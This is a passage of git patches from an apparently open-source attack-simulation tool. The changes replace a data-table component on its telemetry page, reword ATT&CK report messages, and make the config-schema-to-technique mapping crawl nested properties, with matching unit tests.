"resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha1-wj6RtxAkKscMN/HhzaknTMOb8vQ=" + }, "lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", @@ -7554,6 +7834,29 @@ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", "dev": true }, + "mui-datatables": { + "version": "3.7.8", + "resolved": "https://registry.npmjs.org/mui-datatables/-/mui-datatables-3.7.8.tgz", + "integrity": "sha512-kk09SI5fvb95jjSqpDJbR9/C2cZSFGX1MeFT4IC2TVNpYwBFHhXzlcDaHGkkGlMCnMimPsHU+eWL7OPPCxfrRQ==", + "requires": { + "@babel/runtime-corejs3": "^7.12.1", + "clsx": "^1.1.1", + "lodash.assignwith": "^4.2.0", + "lodash.clonedeep": "^4.5.0", + "lodash.debounce": "^4.0.8", + "lodash.find": "^4.6.0", + "lodash.get": "^4.4.2", + "lodash.isequal": "^4.5.0", + "lodash.isundefined": "^3.0.1", + "lodash.memoize": "^4.1.2", + "lodash.merge": "^4.6.2", + "prop-types": "^15.7.2", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-sortable-tree": "^2.7.1", + "react-to-print": "^2.8.0" + } + }, "multicast-dns": { "version": "6.2.3", "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", @@ -10196,6 +10499,11 @@ "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" }, + "performance-now": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", + "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" + }, "picocolors": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", @@ -10228,6 +10536,11 @@ "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", "integrity": "sha512-ARhBOdzS3e41FbkW/XWrTEtukqqLoK5+Z/4UeDaLuSW+39JPeFgs4gCGqsrJHVZX0fUrx//4OF0K1CUGwlIFow==" }, + "popper.js": { + "version": "1.16.1-lts", + "resolved": "https://registry.npmjs.org/popper.js/-/popper.js-1.16.1-lts.tgz", + "integrity": "sha512-Kjw8nKRl1m+VrSFCoVGPph93W/qrSO7ZkqPpTf7F4bk/sqcfWK019dWBUpE/fBOsOQY1dks/Bmcbfn1heM/IsA==" + }, "portfinder": { "version": "1.0.28", "resolved": "https://registry.npmjs.org/portfinder/-/portfinder-1.0.28.tgz", @@ -10580,6 +10893,14 @@ "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", "dev": true }, + "raf": { + "version": "3.4.1", + "resolved": "https://registry.npmjs.org/raf/-/raf-3.4.1.tgz", + "integrity": "sha512-Sq4CW4QhwOHE8ucn6J34MqtZCeWFP2aQSmrlroYgqAV1PjStIhJXxYuTgUIfkEk7zTLjmIjLmU5q+fbD1NnOJA==", + "requires": { + "performance-now": "^2.1.0" + } + }, "rainge": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/rainge/-/rainge-1.0.1.tgz", @@ -10689,15 +11010,6 @@ "prop-types": "^15.5.8" } }, - "react-data-components": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", - "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", - "requires": { - "lodash": "^4.13.1", - "prop-types": "^15.5.10" - } - }, "react-desktop-notification": { "version": "1.0.9", "resolved": "https://registry.npmjs.org/react-desktop-notification/-/react-desktop-notification-1.0.9.tgz", @@ -10714,6 +11026,30 @@ "element-resize-event": "^2.0.4" } }, + "react-display-name": { + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/react-display-name/-/react-display-name-0.2.5.tgz", + "integrity": "sha512-I+vcaK9t4+kypiSgaiVWAipqHRXYmZIuAiS8vzFvXHHXVigg/sMKwlRgLy6LH2i3rmP+0Vzfl5lFsFRwF1r3pg==" + }, + "react-dnd": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd/-/react-dnd-11.1.3.tgz", + "integrity": "sha512-8rtzzT8iwHgdSC89VktwhqdKKtfXaAyC4wiqp0SywpHG12TTLvfOoL6xNEIUWXwIEWu+CFfDn4GZJyynCEuHIQ==", + "requires": { + "@react-dnd/shallowequal": "^2.0.0", + "@types/hoist-non-react-statics": "^3.3.1", + "dnd-core": "^11.1.3", + "hoist-non-react-statics": "^3.3.0" + } + }, + "react-dnd-html5-backend": { + "version": "11.1.3", + "resolved": "https://registry.npmjs.org/react-dnd-html5-backend/-/react-dnd-html5-backend-11.1.3.tgz", + "integrity": "sha512-/1FjNlJbW/ivkUxlxQd7o3trA5DE33QiRZgxent3zKme8DwF4Nbw3OFVhTRFGaYhHFNL1rZt6Rdj1D78BjnNLw==", + "requires": { + "dnd-core": "^11.1.3" + } + }, "react-dom": { "version": "16.14.0", "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.14.0.tgz", @@ -10894,6 +11230,20 @@ "tiny-warning": "^1.0.0" } }, + "react-sortable-tree": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/react-sortable-tree/-/react-sortable-tree-2.8.0.tgz", + "integrity": "sha512-gTjwxRNt7z0FC76KeNTnGqx1qUSlV3N78mMPRushBpSUXzZYhiFNsWHUIruyPnaAbw4SA7LgpItV7VieAuwDpw==", + "requires": { + "frontend-collective-react-dnd-scrollzone": "^1.0.2", + "lodash.isequal": "^4.5.0", + "prop-types": "^15.6.1", + "react-dnd": "^11.1.3", + "react-dnd-html5-backend": "^11.1.3", + "react-lifecycles-compat": "^3.0.4", + "react-virtualized": "^9.21.2" + } + }, "react-spinners": { "version": "0.9.0", "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.9.0.tgz", @@ -10912,6 +11262,14 @@ "react-is": "^16.8.1" } }, + "react-to-print": { + "version": "2.13.0", + "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.13.0.tgz", + "integrity": "sha512-JMX+HrMtBXWDh2ohPT2IeBkaGY4QpFeloXTXBA7hBK7dXJQei/UXMvQqbZHb0rqJwzAHltZ2zXevuSK/ReKI5w==", + "requires": { + "prop-types": "^15.7.2" + } + }, "react-toggle": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.2.tgz", @@ -10939,6 +11297,19 @@ "prop-types": "^15.6.2" } }, + "react-virtualized": { + "version": "9.22.3", + "resolved": "https://registry.npmjs.org/react-virtualized/-/react-virtualized-9.22.3.tgz", + "integrity": "sha512-MKovKMxWTcwPSxE1kK1HcheQTWfuCxAuBoSTf2gwyMM21NdX/PXUhnoP8Uc5dRKd+nKm8v41R36OellhdCpkrw==", + "requires": { + "@babel/runtime": "^7.7.2", + "clsx": "^1.0.4", + "dom-helpers": "^5.1.3", + "loose-envify": "^1.4.0", + "prop-types": "^15.7.2", + "react-lifecycles-compat": "^3.0.4" + } + }, "read-pkg": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-5.2.0.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 565f3fe68..7689d95b7 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -73,6 +73,8 @@ "@fortawesome/free-solid-svg-icons": "^5.15.4", "@fortawesome/react-fontawesome": "^0.1.15", "@kunukn/react-collapse": "^1.2.7", + "@material-ui/core": "^4.12.3", + "@material-ui/icons": "^4.11.2", "@types/react-router-dom": "^5.3.1", "bootstrap": "^4.5.3", "classnames": "^2.3.1", @@ -85,6 +87,7 @@ "jwt-decode": "^2.2.0", "lodash": "^4.17.21", "marked": "^2.1.3", + "mui-datatables": "^3.7.8", "normalize.css": "^8.0.0", "pluralize": "^7.0.0", "prop-types": "^15.7.2", @@ -93,7 +96,6 @@ "react": "^16.14.0", "react-bootstrap": "^1.6.4", "react-copy-to-clipboard": "^5.0.4", - "react-data-components": "^1.2.0", "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", "react-dom": "^16.14.0", diff --git a/monkey/monkey_island/cc/ui/src/components/Main.tsx b/monkey/monkey_island/cc/ui/src/components/Main.tsx index cfd04b39d..c633e8225 100644 --- a/monkey/monkey_island/cc/ui/src/components/Main.tsx +++ b/monkey/monkey_island/cc/ui/src/components/Main.tsx @@ -19,7 +19,6 @@ import GettingStartedPage from './pages/GettingStartedPage'; import 'normalize.css/normalize.css'; -import 'react-data-components/css/table-twbs.css'; import 'styles/App.css'; import 'react-toggle/style.css'; import 'react-table/react-table.css'; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index ef8deb92c..85913b432 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,7 +1,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import JSONTree from 'react-json-tree'; -import {DataTable} from 'react-data-components'; +import MUIDataTable from 'mui-datatables'; import AuthComponent from '../AuthComponent'; import download from 'downloadjs'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; @@ -13,35 +13,46 @@ const renderJson = (val) => val.split('.')[0]; const columns = [ - {title: 'Time', prop: 'timestamp', render: renderTime}, - {title: 'Monkey', prop: 'monkey'}, - {title: 'Type', prop: 'telem_category'}, - {title: 'Details', prop: 'data', render: renderJson, width: '40%'} + {label: 'Time', name: 'timestamp'}, + {label: 'Monkey', name: 'monkey'}, + {label: 'Type', name: 'telem_category'}, + {label: 'Details', name: 'data', options: { setCellProps: () => ({ style: { width: '40%' }})}} ]; +const table_options = { + filterType: 'textField', + sortOrder: { + name: 'timestamp', + direction: 'desc' + }, + print: false, + download: false, + rowHover: false, + rowsPerPage: 20, + rowsPerPageOptions: [20, 50, 100], + selectableRows: 'none' + }; + class TelemetryPageComponent extends AuthComponent { constructor(props) { super(props); this.state = { - data: [] + data: [], + isFetching: false }; } componentDidMount = () => { this.authFetch('/api/telemetry') .then(res => res.json()) - .then(res => this.setState({data: res.objects})); + .then(res => {this.setState({data: res.objects}) + }) + .catch(e => { + console.log(e); + this.setState({...this.state}); + }); }; - shouldComponentUpdate(_, nextState) { - if (nextState.data.length > this.state.data.length) - { - return true; - } - - return false; - } - downloadIslandLog = () => { this.authFetch('/api/log/island/download') .then(res => res.json()) @@ -58,27 +69,32 @@ class TelemetryPageComponent extends AuthComponent { lg={{offset: 3, span: 9}} xl={{offset: 2, span: 7}} className={'main'}>
    -

    Logs

    -
    - -
    +

    Logs

    +
    + { + return [ + renderTime(item.timestamp), + item.monkey, + item.telem_category, + renderJson(item.data) + ] + }) + } + options={table_options} + /> +
    -

    Monkey Island Logs

    -
    -

    Download Monkey Island internal log file

    - -
    +

    Monkey Island Logs

    +
    +

    Download Monkey Island internal log file

    + +
    ); diff --git a/monkey/monkey_island/cc/ui/src/styles/pages/TelemetryPage.scss b/monkey/monkey_island/cc/ui/src/styles/pages/TelemetryPage.scss index 325943739..cfb117502 100644 --- a/monkey/monkey_island/cc/ui/src/styles/pages/TelemetryPage.scss +++ b/monkey/monkey_island/cc/ui/src/styles/pages/TelemetryPage.scss @@ -1,3 +1,7 @@ .data-table-container>.container>div.row{ margin-left: 10px; } + +.data-table-container{ + margin-bottom: 20px; +} From cff393fa6362e234b83c9e78a8b93e251e715a17 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 14 Oct 2021 12:54:21 +0530 Subject: [PATCH 378/454] island: Simplify tables' titles in T1086 report --- .../cc/ui/src/components/attack/techniques/T1086.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index d0ee71f80..58fe16959 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -12,7 +12,7 @@ class T1086 extends React.Component { static getPowershellColumnsForExploits() { return ([{ - Header: 'PowerShell commands used during exploitation', + Header: 'Exploiters', columns: [ { Header: 'Machine', @@ -34,7 +34,7 @@ class T1086 extends React.Component { static getPowershellColumnsForPBAs() { return ([{ - Header: 'Post-breach actions that used PowerShell commands/scripts', + Header: 'Post-Breach Actions', columns: [ { Header: 'Machine', From 462b20f58780a5cc5cfc14388a32cfd66bac75bd Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 12 Oct 2021 15:39:56 +0530 Subject: [PATCH 379/454] island: Add related attack techniques to internal config values 'exploit_ntlm_hash_list' and 'exploit_lm_hash_list' --- monkey/monkey_island/cc/services/config_schema/internal.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index b6e926dfb..84baa6ca5 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -340,6 +340,7 @@ INTERNAL = { "items": {"type": "string"}, "default": [], "description": "List of LM hashes to use on exploits using credentials", + "related_attack_techniques": ["T1075"], }, "exploit_ntlm_hash_list": { "title": "Exploit NTLM hash list", @@ -348,6 +349,7 @@ INTERNAL = { "items": {"type": "string"}, "default": [], "description": "List of NTLM hashes to use on exploits using credentials", + "related_attack_techniques": ["T1075"], }, "exploit_ssh_keys": { "title": "SSH key pairs list", From 80811334d7564ea53de078528fd234146a31882e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 12 Oct 2021 15:41:03 +0530 Subject: [PATCH 380/454] island: Reword message for unscanned attack techniques --- .../cc/services/attack/technique_reports/__init__.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index 30405dd69..00df909f2 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -143,7 +143,7 @@ class AttackTechnique(object, metaclass=abc.ABCMeta): reasons.append(f"- Monkey did not run on any {cls.relevant_systems[0]} systems.") if cls.tech_id in config_schema_per_attack_technique: reasons.append( - "- The following configuration options were disabled:
    " + "- The following configuration options were disabled or empty:
    " f"{cls._get_relevant_config_values(config_schema_per_attack_technique)}" ) From 7bdbdb1bfbbeaaa2118d748384b4754a208da7d0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 12 Oct 2021 15:42:40 +0530 Subject: [PATCH 381/454] island: Go through internal config when generating reverse schema for unscanned attack techniques' reasons --- .../config_schema_per_attack_technique.py | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 9b7cd6bb2..1b4c39413 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -25,6 +25,21 @@ def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, definition_type, config_field, attack_technique, reverse_schema ) + properties = schema["properties"] + for prop in properties: + property_type = properties[prop]["title"] + for tab_name in properties[prop]["properties"]: + tab = properties[prop]["properties"][tab_name] + for config_option_name in tab["properties"]: + config_option = tab["properties"][config_option_name] + for attack_technique in config_option.get("related_attack_techniques", []): + # No config values could be a reason that related attack techniques are left + # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. + config_field = f"{config_option['title']} ({tab['title']})" + _add_config_field_to_reverse_schema( + property_type, config_field, attack_technique, reverse_schema + ) + return reverse_schema From 1adf462ac39a166a9af367a24c17757162f4002b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 12 Oct 2021 15:54:41 +0530 Subject: [PATCH 382/454] tests: Modify unit tests as per changes to reverse schema and attack report generation --- .../test_technique_reports.py | 7 ++++--- .../test_config_schema_per_attack_technique.py | 1 + .../monkey_island/cc/services/conftest.py | 18 +++++++++++++++++- 3 files changed, 22 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py index 82a23a9ae..05f051ac2 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/attack/technique_reports/test_technique_reports.py @@ -12,6 +12,7 @@ FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { "T0000": { "Definition Type 1": ["Config Option 1", "Config Option 2"], "Definition Type 2": ["Config Option 5", "Config Option 6"], + "Property Type 1": ["Config Option 1 (Tab 1)"], }, "T0001": { "Definition Type 1": ["Config Option 1"], @@ -23,7 +24,7 @@ FAKE_CONFIG_SCHEMA_PER_ATTACK_TECHNIQUE = { @pytest.fixture(scope="function", autouse=True) def mock_config_schema_per_attack_technique(monkeypatch, fake_schema): monkeypatch.setattr( - ("monkey_island.cc.services.attack.technique_reports." "__init__.SCHEMA"), + ("monkey_island.cc.services.attack.technique_reports.__init__.SCHEMA"), fake_schema, ) @@ -42,7 +43,7 @@ class FakeAttackTechnique_TwoRelevantSystems(AttackTechnique): class ExpectedMsgs_TwoRelevantSystems(Enum): UNSCANNED: str = ( "UNSCANNED due to one of the following reasons:\n" - "- The following configuration options were disabled:
    " + "- The following configuration options were disabled or empty:
    " "- Definition Type 1 — Config Option 1
    " "- Definition Type 2 — Config Option 5
    " ) @@ -65,7 +66,7 @@ class ExpectedMsgs_OneRelevantSystem(Enum): UNSCANNED: str = ( "UNSCANNED due to one of the following reasons:\n" "- Monkey did not run on any System 1 systems.\n" - "- The following configuration options were disabled:
    " + "- The following configuration options were disabled or empty:
    " "- Definition Type 1 — Config Option 1
    " "- Definition Type 2 — Config Option 5
    " ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py index bacdae5dd..fdaf36374 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py @@ -6,6 +6,7 @@ REVERSE_FAKE_SCHEMA = { "T0000": { "Definition Type 1": ["Config Option 1", "Config Option 2"], "Definition Type 2": ["Config Option 5", "Config Option 6"], + "Property Type 1": ["Config Option 1 (Tab 1)"], }, "T0001": { "Definition Type 1": ["Config Option 1"], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index b89be55f9..90ffdb7d7 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py @@ -66,5 +66,21 @@ def fake_schema(): }, ], }, - } + }, + "properties": { + "property_type_1": { + "title": "Property Type 1", + "properties": { + "tab_1": { + "title": "Tab 1", + "properties": { + "config_option_1": { + "title": "Config Option 1", + "related_attack_techniques": ["T0000"], + }, + }, + } + }, + } + }, } From e42a9d8b8f32fc4c61c3a04600eefb83a29263a7 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 12 Oct 2021 16:00:40 +0530 Subject: [PATCH 383/454] CHANGELOG: Add entry for modified ATT&CK report messages --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 0e358f3d5..d4ba8e014 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -17,6 +17,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Resetting login credentials also cleans the contents of the database. #1495 - ATT&CK report messages (more accurate now). #1483 - T1086 (PowerShell) now also reports if ps1 scripts were run by PBAs. #1513 +- ATT&CK report messages to include empty internal config options as reasons for unscanned attack + techniques. #1518 ### Removed - Internet access check on agent start. #1402 From 55fcfa981389dfa86bae9285c4f158a716e1b1b9 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 18:06:42 +0530 Subject: [PATCH 384/454] island: Move code for generating reverse schema into functions for better readibility --- .../config_schema_per_attack_technique.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 1b4c39413..9003e25a1 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -15,6 +15,13 @@ def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, """ reverse_schema = {} + _crawl_config_schema_definitions_for_reverse_schema(schema, reverse_schema) + _crawl_config_schema_properties_for_reverse_schema(schema, reverse_schema) + + return reverse_schema + + +def _crawl_config_schema_definitions_for_reverse_schema(schema: Dict, reverse_schema: Dict): definitions = schema["definitions"] for definition in definitions: definition_type = definitions[definition]["title"] @@ -25,6 +32,8 @@ def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, definition_type, config_field, attack_technique, reverse_schema ) + +def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_schema: Dict): properties = schema["properties"] for prop in properties: property_type = properties[prop]["title"] @@ -40,8 +49,6 @@ def get_config_schema_per_attack_technique(schema: Dict) -> Dict[str, Dict[str, property_type, config_field, attack_technique, reverse_schema ) - return reverse_schema - def _add_config_field_to_reverse_schema( definition_type: str, config_field: str, attack_technique: str, reverse_schema: Dict From b24b8439c5a7c3a163ccd96a29626326fef5bd08 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 18:08:06 +0530 Subject: [PATCH 385/454] island: Change 'tab' to 'category' in reverse schema generation --- .../config_schema_per_attack_technique.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index 9003e25a1..e73a1be75 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -37,14 +37,14 @@ def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_sch properties = schema["properties"] for prop in properties: property_type = properties[prop]["title"] - for tab_name in properties[prop]["properties"]: - tab = properties[prop]["properties"][tab_name] - for config_option_name in tab["properties"]: - config_option = tab["properties"][config_option_name] + for category_name in properties[prop]["properties"]: + category = properties[prop]["properties"][category_name] + for config_option_name in category["properties"]: + config_option = category["properties"][config_option_name] for attack_technique in config_option.get("related_attack_techniques", []): # No config values could be a reason that related attack techniques are left # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. - config_field = f"{config_option['title']} ({tab['title']})" + config_field = f"{config_option['title']} ({category['title']})" _add_config_field_to_reverse_schema( property_type, config_field, attack_technique, reverse_schema ) From 08e57f38242e9be0a7993f82ed17c80118862c9b Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 18:18:47 +0530 Subject: [PATCH 386/454] island: Use '.get()' when accessing value in dictionary during reverse schema generation --- .../config_schema/config_schema_per_attack_technique.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index e73a1be75..e78b055a2 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -25,7 +25,7 @@ def _crawl_config_schema_definitions_for_reverse_schema(schema: Dict, reverse_sc definitions = schema["definitions"] for definition in definitions: definition_type = definitions[definition]["title"] - for field in definitions[definition]["anyOf"]: + for field in definitions[definition].get("anyOf", []): config_field = field["title"] for attack_technique in field.get("attack_techniques", []): _add_config_field_to_reverse_schema( @@ -37,9 +37,9 @@ def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_sch properties = schema["properties"] for prop in properties: property_type = properties[prop]["title"] - for category_name in properties[prop]["properties"]: + for category_name in properties[prop].get("properties", []): category = properties[prop]["properties"][category_name] - for config_option_name in category["properties"]: + for config_option_name in category.get("properties", []): config_option = category["properties"][config_option_name] for attack_technique in config_option.get("related_attack_techniques", []): # No config values could be a reason that related attack techniques are left From ffd8f4edfe90fd283cc460a9e7395dd74f3205fb Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 19:55:46 +0530 Subject: [PATCH 387/454] island: Check related attack techniques recursively when generating reverse schema so it doesn't break when another level of nesting is added --- .../config_schema_per_attack_technique.py | 43 +++++++++++++++---- 1 file changed, 34 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py index e78b055a2..f6320f525 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema_per_attack_technique.py @@ -39,15 +39,40 @@ def _crawl_config_schema_properties_for_reverse_schema(schema: Dict, reverse_sch property_type = properties[prop]["title"] for category_name in properties[prop].get("properties", []): category = properties[prop]["properties"][category_name] - for config_option_name in category.get("properties", []): - config_option = category["properties"][config_option_name] - for attack_technique in config_option.get("related_attack_techniques", []): - # No config values could be a reason that related attack techniques are left - # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. - config_field = f"{config_option['title']} ({category['title']})" - _add_config_field_to_reverse_schema( - property_type, config_field, attack_technique, reverse_schema - ) + _crawl_properties( + config_option_path=property_type, + config_option=category, + reverse_schema=reverse_schema, + ) + + +def _crawl_properties(config_option_path: str, config_option: Dict, reverse_schema: Dict): + config_option_path = " -> ".join([config_option_path, config_option["title"]]) + + for config_option_name in config_option.get("properties", []): + new_config_option = config_option["properties"][config_option_name] + _check_related_attack_techniques( + config_option_path=config_option_path, + config_option=new_config_option, + reverse_schema=reverse_schema, + ) + + # check for "properties" and each property's related techniques recursively; + # the levels of nesting and where related techniques are declared won't + # always be fixed in the config schema + _crawl_properties(config_option_path, new_config_option, reverse_schema) + + +def _check_related_attack_techniques( + config_option_path: str, config_option: Dict, reverse_schema: Dict +): + for attack_technique in config_option.get("related_attack_techniques", []): + # No config values could be a reason that related attack techniques are left + # unscanned. See https://github.com/guardicore/monkey/issues/1518 for more. + config_field = f"{config_option['title']}" + _add_config_field_to_reverse_schema( + config_option_path, config_field, attack_technique, reverse_schema + ) def _add_config_field_to_reverse_schema( From f7f2e69152c09439b8f901538763f8e4d1c49b94 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 13 Oct 2021 19:56:35 +0530 Subject: [PATCH 388/454] tests: Modify tests to test reverse schema generation with multiple levels of nesting --- ...test_config_schema_per_attack_technique.py | 13 +++-- .../monkey_island/cc/services/conftest.py | 51 +++++++++++++++++-- 2 files changed, 55 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py index fdaf36374..02010ac30 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/config_schema/test_config_schema_per_attack_technique.py @@ -6,12 +6,15 @@ REVERSE_FAKE_SCHEMA = { "T0000": { "Definition Type 1": ["Config Option 1", "Config Option 2"], "Definition Type 2": ["Config Option 5", "Config Option 6"], - "Property Type 1": ["Config Option 1 (Tab 1)"], - }, - "T0001": { - "Definition Type 1": ["Config Option 1"], - "Definition Type 2": ["Config Option 5"], + "Property Type 1 -> Category 1": ["Config Option 1"], + "Property Type 2 -> Category 1": ["Config Option 1"], + "Property Type 2 -> Category 2 -> Config Option 1": ["Config Option 1.1"], + "Property Type 2 -> Category 2 -> Config Option 2": ["Config Option 2.1"], + "Property Type 2 -> Category 2 -> Config Option 2 -> Config Option 2.1": [ + "Config Option 2.1.1" + ], }, + "T0001": {"Definition Type 1": ["Config Option 1"], "Definition Type 2": ["Config Option 5"]}, } diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py index 90ffdb7d7..bd0744f17 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/conftest.py 